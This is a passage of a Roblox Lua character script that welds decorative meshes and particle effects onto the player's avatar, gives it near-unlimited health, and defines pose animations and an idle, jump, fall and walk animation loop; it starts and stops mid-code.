1102 | Gear2weld=weld(m,Handle2,Gear2,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.049841404, 0.049908638, 2.78949738e-005, 0.999990344, -5.01424074e-006, -1.49011612e-007, 5.28991222e-006, 0.999994934, 2.98023224e-008, 2.38418579e-007, -1.63912773e-007, 0.999994636)) | |
1103 | mesh("SpecialMesh",Gear2,Enum.MeshType.FileMesh,"http://www.roblox.com/asset?id=156292343",Vector3.new(0, 0, 0),Vector3.new(5, 5, 15)) | |
1104 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(2.20000005, 1, 1)) | |
1105 | Partweld=weld(m,Handle2,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(2.82676554, 0.256523609, 4.598104, -1.1920929e-006, 0.258818835, -0.965925872, -1.00000012, 1.46776438e-006, 1.63912773e-006, 1.83098018e-006, 0.965925872, 0.258818835)) | |
1106 | ||
1107 | local modelzorzz3=Instance.new("Model") | |
1108 | modelzorzz3.Parent=Character | |
1109 | modelzorzz3.Name="Eye" | |
1110 | ||
1111 | handle=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Handle",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
1112 | handleweld=weld(m,Character["Torso"],handle,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-2.22326851, -3.5562191, -0.038143158, 0, 0, 1, 0, 1, 0, -1, 0, 0)) | |
1113 | mesh("SpecialMesh",handle,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1, 3, 1)) | |
1114 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
1115 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
1116 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 0.950000048, 1.16999996)) | |
1117 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(1.20000005, 1.20000005, 1.20000005)) | |
1118 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0, 1.09672546e-005, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
1119 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/Asset/?id=9756362",Vector3.new(0, 0, 0),Vector3.new(1.102, 3, 0.863999963)) | |
1120 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
1121 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
1122 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.77400017, 4.96199989, 4.73800039)) | |
1123 | Part=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,0,TorsoColor,"Part",Vector3.new(3.79999995, 4, 1.39999998)) | |
1124 | Partweld=weld(m,handle,Part,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.0999984741, 0, -0.100000381, 0, -1, 0, 0, 0, 1, -1, -0, 0)) | |
1125 | mesh("SpecialMesh",Part,Enum.MeshType.FileMesh,"http://www.roblox.com/asset/?id=3270017",Vector3.new(0, 0, 0),Vector3.new(4.4920001, 4.70400047, 4.73800039)) | |
1126 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
1127 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.48671532, -1.09328079, 1, -2.52891718e-012, -6.81310423e-013, 2.53075664e-012, 0.866021812, 0.500005603, -6.74442273e-013, -0.500005603, 0.866021752)) | |
1128 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
1129 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100009918, -3.09970522, 1.40989685, 1, 0, 0, 0, 1, 0, 0, 0, 1)) | |
1130 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
1131 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(-0.100009918, -3.09970522, 1.39007568, -0.999999702, 0, 5.96046448e-008, 0, 1, 0, -5.96046448e-008, 0, -0.999999702)) | |
1132 | Wedge=part(Enum.FormFactor.Custom,m,Enum.Material.SmoothPlastic,0,1,"Really black","Wedge",Vector3.new(0.600000024, 2.5999999, 0.599999964)) | |
1133 | Wedgeweld=weld(m,handle,Wedge,CFrame.new(0, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 1),CFrame.new(0.100013733, -3.61302567, 0.360752106, 1, -3.69486299e-012, 1.70532143e-012, 3.81851625e-012, 0.707111537, -0.707102001, 1.40679254e-012, 0.70710206, 0.707111537)) | |
1134 | ||
1135 | p = game.Players.LocalPlayer | |
1136 | char = p.Character | |
1137 | torso = char.Torso | |
1138 | neck = char.Torso.Neck | |
1139 | hum = char.Humanoid | |
1140 | hum.MaxHealth = 1675000 | |
1141 | wait() | |
1142 | hum.Health =hum.MaxHealth | |
1143 | ||
1144 | local particleemitter = Instance.new("ParticleEmitter", Handle) | |
1145 | particleemitter.VelocitySpread = 180 | |
1146 | particleemitter.Lifetime = NumberRange.new(0.1) | |
1147 | particleemitter.Speed = NumberRange.new(2) | |
1148 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
1149 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
1150 | particleemitter.Rate = 100 | |
1151 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
1152 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
1153 | particleemitter.LightEmission = 0.8 | |
1154 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
1155 | ||
1156 | local particleemitter = Instance.new("ParticleEmitter", Handle2) | |
1157 | particleemitter.VelocitySpread = 180 | |
1158 | particleemitter.Lifetime = NumberRange.new(0.1) | |
1159 | particleemitter.Speed = NumberRange.new(2) | |
1160 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 5.563)}) | |
1161 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
1162 | particleemitter.Rate = 100 | |
1163 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
1164 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
1165 | particleemitter.LightEmission = 0.8 | |
1166 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
1167 | ||
1168 | local particleemitter = Instance.new("ParticleEmitter", handle) | |
1169 | particleemitter.VelocitySpread = 180 | |
1170 | particleemitter.Lifetime = NumberRange.new(0.1) | |
1171 | particleemitter.Speed = NumberRange.new(2) | |
1172 | particleemitter.Size = NumberSequence.new({NumberSequenceKeypoint.new(0, 1), NumberSequenceKeypoint.new(1, 7.563)}) | |
1173 | particleemitter.RotSpeed = NumberRange.new(-45, 45) | |
1174 | particleemitter.Rate = 100 | |
1175 | particleemitter.Rotation = NumberRange.new(-45, 45) | |
1176 | particleemitter.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0, 0), NumberSequenceKeypoint.new(0.701, 0), NumberSequenceKeypoint.new(1, 1)}) | |
1177 | particleemitter.LightEmission = 0.8 | |
1178 | particleemitter.Color = ColorSequence.new(Color3.new(1, 1, 1), Color3.new(0, 0, 0)) | |
1179 | ||
1180 | particleemitter.Enabled = true | |
1181 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),75,75,75,35,35,35,0.025) | |
1182 | MagicCircle(BrickColor.new("Really black"),cf(Torso.Position),76,76,76,36,36,36,0.025) | |
1183 | so("http://www.roblox.com/asset/?id=150829983",Character,3,0.475) | |
1184 | so("http://www.roblox.com/asset/?id=231917742",Character,3,0.75) | |
1185 | for i=0,1,0.005 do | |
1186 | swait() | |
1187 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,5+1*i)*angles(math.rad(-15),math.rad(0),math.rad(0)),0.1) | |
1188 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-25),math.rad(0),math.rad(0)),0.1) | |
1189 | handleweld.C0=clerp(handleweld.C0,cf(0,0+1*i,0)*angles(math.rad(0),math.rad(0),math.rad(0)),0.1) | |
1190 | Handle2weld.C0=clerp(Handle2weld.C0,cf(0-1*i,0,0)*angles(math.rad(90),math.rad(15),math.rad(0)),0.1) | |
1191 | Handleweld.C0=clerp(Handleweld.C0,cf(0+1*i,0,0)*angles(math.rad(90),math.rad(-15),math.rad(0)),0.1) | |
1192 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
1193 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
1194 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(-30)),0.1) | |
1195 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-30),math.rad(0),math.rad(30)),0.1) | |
1196 | end | |
1197 | for i=0,1,0.04 do | |
1198 | swait() | |
1199 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-1)*angles(math.rad(40),math.rad(0),math.rad(-40)),.3) | |
1200 | handleweld.C0=clerp(handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
1201 | Handleweld.C0=clerp(Handleweld.C0,cf(1.5,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.2) | |
1202 | Handle2weld.C0=clerp(Handle2weld.C0,cf(-1.5,3,0)*angles(math.rad(0),math.rad(180),math.rad(180)),.2) | |
1203 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-40),math.rad(0),math.rad(40)),.3) | |
1204 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(70),math.rad(0),math.rad(-45)),.3) | |
1205 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0,1.57,0)*angles(math.rad(0),math.rad(0),math.rad(-20)),.3) | |
1206 | LH.C0=clerp(LH.C0,cf(-1,0.5,0)*euler(0,-1.57,0)*angles(math.rad(-10),math.rad(30),math.rad(-40)),.3) | |
1207 | end | |
1208 | attack = false | |
1209 | end | |
1210 | end | |
1211 | end | |
1212 | end) | |
1213 | ||
1214 | function Hai() | |
1215 | attack=true | |
1216 | Humanoid.WalkSpeed=0 | |
1217 | so("http://www.roblox.com/asset/?id=0",Torso,1,1) | |
1218 | for i=0,1,0.1 do | |
1219 | swait() | |
1220 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
1221 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1222 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1223 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1224 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
1225 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
1226 | end | |
1227 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8) | |
1228 | for i=0,1,0.1 do | |
1229 | swait() | |
1230 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
1231 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1232 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1233 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1234 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.5) | |
1235 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
1236 | end | |
1237 | so("http://www.roblox.com/asset/?id=0",Torso,1,1) | |
1238 | for i=0,1,0.1 do | |
1239 | swait() | |
1240 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
1241 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1242 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1243 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1244 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
1245 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
1246 | ||
1247 | end | |
1248 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8) | |
1249 | for i=0,1,0.1 do | |
1250 | swait() | |
1251 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
1252 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1253 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1254 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1255 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(50)),.3) | |
1256 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
1257 | end | |
1258 | so("http://www.roblox.com/asset/?id=0",Torso,1,1) | |
1259 | for i=0,1,0.1 do | |
1260 | swait() | |
1261 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
1262 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1263 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1264 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1265 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(170),math.rad(0),math.rad(0)),.3) | |
1266 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(10),math.rad(0),math.rad(-16)),.3) | |
1267 | end | |
1268 | --dmgstop() | |
1269 | Humanoid.WalkSpeed=12 | |
1270 | attack=false | |
1271 | end | |
1272 | ||
1273 | function Twerk() | |
1274 | attack=true | |
1275 | Humanoid.WalkSpeed=0 | |
1276 | so("http://www.roblox.com/asset/?id=0",Torso,1,1) | |
1277 | for i=0,1,0.1 do | |
1278 | swait() | |
1279 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(90),math.rad(0),math.rad(0)),.3) | |
1280 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1281 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(90),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1282 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(90),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1283 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.3) | |
1284 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
1285 | end | |
1286 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8) | |
1287 | for i=0,1,0.1 do | |
1288 | swait() | |
1289 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(120),math.rad(0),math.rad(0)),.3) | |
1290 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1291 | RH.C0=clerp(RH.C0,cf(1,-1,-.5)*angles(math.rad(120),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1292 | LH.C0=clerp(LH.C0,cf(-1,-1,-.5)*angles(math.rad(120),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1293 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.5) | |
1294 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
1295 | end | |
1296 | so("http://www.roblox.com/asset/?id=0",Torso,1,1) | |
1297 | for i=0,1,0.1 do | |
1298 | swait() | |
1299 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(90),math.rad(0),math.rad(0)),.3) | |
1300 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1301 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(90),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1302 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(90),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1303 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.3) | |
1304 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
1305 | ||
1306 | end | |
1307 | so("http://www.roblox.com/asset/?id=0",Torso,1,.8) | |
1308 | for i=0,1,0.1 do | |
1309 | swait() | |
1310 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(120),math.rad(0),math.rad(0)),.3) | |
1311 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1312 | RH.C0=clerp(RH.C0,cf(1,-1,-.5)*angles(math.rad(120),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1313 | LH.C0=clerp(LH.C0,cf(-1,-1,-.5)*angles(math.rad(120),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1314 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.5) | |
1315 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
1316 | end | |
1317 | so("http://www.roblox.com/asset/?id=0",Torso,1,1) | |
1318 | for i=0,1,0.1 do | |
1319 | swait() | |
1320 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,-.9)*angles(math.rad(90),math.rad(0),math.rad(0)),.3) | |
1321 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1322 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(90),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1323 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(90),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(0)),.3) | |
1324 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(-50)),.3) | |
1325 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(50),math.rad(0),math.rad(50)),.3) | |
1326 | end | |
1327 | --dmgstop() | |
1328 | Humanoid.WalkSpeed=12 | |
1329 | attack=false | |
1330 | end | |
1331 | ||
1332 | local sine = 0 | |
1333 | local change = 1 | |
1334 | local val = 0 | |
1335 | ||
1336 | local mananum=0 | |
1337 | while true do | |
1338 | swait() | |
1339 | sine = sine + change | |
1340 | local torvel=(RootPart.Velocity*Vector3.new(1,0,1)).magnitude | |
1341 | local velderp=RootPart.Velocity.y | |
1342 | hitfloor,posfloor=rayCast(RootPart.Position,(CFrame.new(RootPart.Position,RootPart.Position - Vector3.new(0,1,0))).lookVector,4,Character) | |
1343 | if equipped==true or equipped==false then | |
1344 | if Anim=="Idle" and attack==false then | |
1345 | idle=idle+1 | |
1346 | else | |
1347 | idle=0 | |
1348 | end | |
1349 | if Humanoid.Health <=20 then | |
1350 | if attack == false then | |
1351 | Humanoid.Health = math.huge | |
1352 | end | |
1353 | end | |
1354 | if idle>=1000 then | |
1355 | if attack==false then | |
1356 | --Sheath() | |
1357 | end | |
1358 | end | |
1359 | if RootPart.Velocity.y > 1 and hitfloor==nil then | |
1360 | Anim="Jump" | |
1361 | if attack==false then | |
1362 | Footsteps:Stop() | |
1363 | Footsteps2:Stop() | |
1364 | Neck.C0=clerp(Neck.C0,necko*euler(-0.2,0,0),.3) | |
1365 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
1366 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0),.3) | |
1367 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(-.25,0,0.5),.3) | |
1368 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
1369 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(-.25,0,-0.5),.3) | |
1370 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
1371 | RH.C0=clerp(RH.C0,cf(1,0,-.75)*euler(-0.5,1.57,0)*euler(0,0,0),.2) | |
1372 | LH.C0=clerp(LH.C0,cf(-1,-1,-.3)*euler(-0.5,-1.57,0)*euler(0,0,0),.2) | |
1373 | end | |
1374 | elseif RootPart.Velocity.y < -1 and hitfloor==nil then | |
1375 | Anim="Fall" | |
1376 | if attack==false then | |
1377 | Footsteps:Stop() | |
1378 | Footsteps2:Stop() | |
1379 | Neck.C0=clerp(Neck.C0,necko*euler(0.3,0,0),.3) | |
1380 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.3) | |
1381 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*euler(0,0,0),.3) | |
1382 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*euler(0.1,0,1),.3) | |
1383 | RW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
1384 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*euler(0.1,0,-1),.3) | |
1385 | LW.C1=clerp(LW.C1,cf(0,0.5,0)*euler(0,0,0),.3) | |
1386 | RH.C0=clerp(RH.C0,cf(1,-1,0)*euler(0.6,1.57,0)*euler(0,0,0),.2) | |
1387 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*euler(-0.8,-1.57,0)*euler(0,0,0),.2) | |
1388 | end | |
1389 | elseif torvel<1 and hitfloor~=nil then | |
1390 | Anim="Idle" | |
1391 | change=0.5 | |
1392 | if idle>=1000 then | |
1393 | if attack==false then | |
1394 | Footsteps:Stop() | |
1395 | Footsteps2:Stop() | |
1396 | Humanoid.WalkSpeed=12 | |
1397 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(20)),.1) | |
1398 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(0*math.cos(sine/5.5)),math.rad(0*math.cos(sine/5.5)),math.rad(-20)),.1) | |
1399 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
1400 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-45)),.5) | |
1401 | LW.C0=clerp(RW.C0,cf(-2.5,-0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-230)),.5) | |
1402 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(5)),.1) | |
1403 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(10)),.3) | |
1404 | end | |
1405 | else | |
1406 | if attack==false then | |
1407 | Footsteps:Stop() | |
1408 | Footsteps2:Stop() | |
1409 | Humanoid.WalkSpeed=12 | |
1410 | Humanoid.WalkSpeed=12 | |
1411 | RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0-0.015*math.cos(sine/5))*angles(math.rad(0),math.rad(0),math.rad(20)),.1) | |
1412 | Neck.C0=clerp(Neck.C0,necko*angles(math.rad(0*math.cos(sine/5.5)),math.rad(0*math.cos(sine/5.5)),math.rad(-20)),.1) | |
1413 | Neck.C1=clerp(Neck.C1,necko2*euler(0,0,0),.1) | |
1414 | RW.C0=clerp(RW.C0,cf(1.5,0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-45)),.5) | |
1415 | LW.C0=clerp(RW.C0,cf(-2.5,-0.5,-0.5)*angles(math.rad(95),math.rad(0),math.rad(-230)),.5) | |
1416 | RH.C0=clerp(RH.C0,cf(1,-1,-0.225)*angles(math.rad(0),math.rad(90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(5)),.1) | |
1417 | LH.C0=clerp(LH.C0,cf(-1,-1.1,0)*angles(math.rad(0),math.rad(-90),math.rad(0))*angles(math.rad(-5),math.rad(0),math.rad(10)),.3) | |
1418 | end | |
1419 | end | |
1420 | elseif torvel>2 and torvel<22 and hitfloor~=nil then | |
1421 | Anim="Walk" | |
1422 | if attack==false then | |
1423 | change=0.8 | |
1424 | --[[RootJoint.C0=clerp(RootJoint.C0,RootCF*cf(0,0,0)*angles(math.rad(35),math.rad(0),math.rad(15*math.cos(sine/10))),.3) | |
1425 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*angles(math.rad(-30),math.rad(0),math.rad(0)),.3) | |
1426 | RW.C0=clerp(RW.C0,cf(1.5,0.5,0)*angles(math.rad(-135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
1427 | LW.C0=clerp(LW.C0,cf(-1.5,0.5,0)*angles(math.rad(135*math.cos(sine/9)),math.rad(0),math.rad(0)),.3) | |
1428 | RH.C0=clerp(RH.C0,cf(1,-1,0)*angles(math.rad(0),math.rad(90),math.rad(0)),.3) | |
1429 | LH.C0=clerp(LH.C0,cf(-1,-1,0)*angles(math.rad(0),math.rad(-90),math.rad(0)),.3) | |
1430 | --Handleweld.C0=clerp(--Handleweld.C0,cf(0,0,0)*angles(math.rad(0),math.rad(0),math.rad(0)),.3) | |
1431 | Torso.Neck.C0=clerp(Torso.Neck.C0,necko*euler(0,0,0),.2) | |
1432 | RootJoint.C0=clerp(RootJoint.C0,RootCF*euler(0.1,0,0),.2) | |
